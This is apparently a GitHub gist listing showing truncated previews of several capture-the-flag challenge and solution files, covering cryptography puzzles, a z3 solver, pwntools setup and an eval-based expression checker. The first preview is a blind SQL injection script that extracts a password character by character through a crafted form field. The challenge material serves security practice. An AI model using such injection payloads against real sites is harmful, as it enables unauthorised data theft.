This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
md = '' | |
for i in range(1, 33): | |
l, r = 0, 128 | |
while l + 1 < r: | |
m = (l + r) / 2 | |
data = { 'age': 'repeat(crc32(strcmp(mid(pwd,%d,1),%s)),if(strcmp(id,0x35),0,1))#' % (i, hex(m)) } | |
cookies = { 'PHPSESSID': '8frmhugntqqfj0cv72rsd6qt95' } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|-------------------------------------| | |
| Options: | | |
| [C]ipher text | | |
| [E]ncryption function | | |
| [M]akekey function | | |
| [P]ubkey | | |
| [S]end decrypted message | | |
| [Q]uit | | |
|-------------------------------------| | |
$ C |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import gmpy | |
from Crypto.Util.number import * | |
from secret import x, y, flag | |
assert gmpy.is_prime(y) | |
assert gmpy.is_prime(x+1) | |
assert (x**2 - 1)**2 % (4*x*y - 1) == 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def laxt(expr, num): | |
ops = ' %&()*+-/<>^|~' | |
nude = expr.translate(None, ops) | |
try: | |
if set(nude) == set(num): | |
flag, val = True, eval(expr) | |
else: | |
flag, val = False, None | |
except: | |
flag, val = False, None |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 0 to 9 | |
0 == eval("-~1") | |
1 == eval("1") | |
2 == eval("-~1") | |
3 == eval("3") | |
4 == eval("-~3") | |
5 == eval("-~-~3") | |
6 == eval("~-~-8") | |
7 == eval("~-8") | |
8 == eval("8") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def encrypt(exp, num, key): | |
assert key >> 512 <= 1 | |
num = num + key | |
msg = bin(num)[2:][::-1] | |
C, i = 0, 1 | |
for b in msg: | |
C += int(b) * (exp**i + (-1)**i) | |
i += 1 | |
try: | |
enc = hex(C)[2:].rstrip('L').decode('hex') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
from pwn import * | |
# context.log_level = 'debug' | |
# copy and paste | |
def sha(my_string): | |
m = hashlib.new('sha') | |
m.update(my_string) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
from z3 import * | |
import string | |
def prettify(data): | |
return ''.join([ ('\033[1;32m%s\033[0m' % c if c in string.printable[:-5] else '\033[2;32m_\033[0m' ) if c in string.printable else ('\033[2;31m?\033[0m' if c == '\x00' else '\033[2;33m?\033[0m') for c in data ]) + '\033[0m' | |
s = Solver() | |
char = [ BitVec('char_%d' % i, 8) for i in range(260) ] | |
word = [ BitVec('word_%d' % i, 16) for i in range(260) ] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import random | |
from hashlib import sha256 | |
f = open('gov_officials_PK.txt') | |
ns = [ int(n) for n in f.read().strip().split('\n') ] | |
k = 1024 | |
b = 2*k + 128 | |
e = 0x10001 |
OlderNewer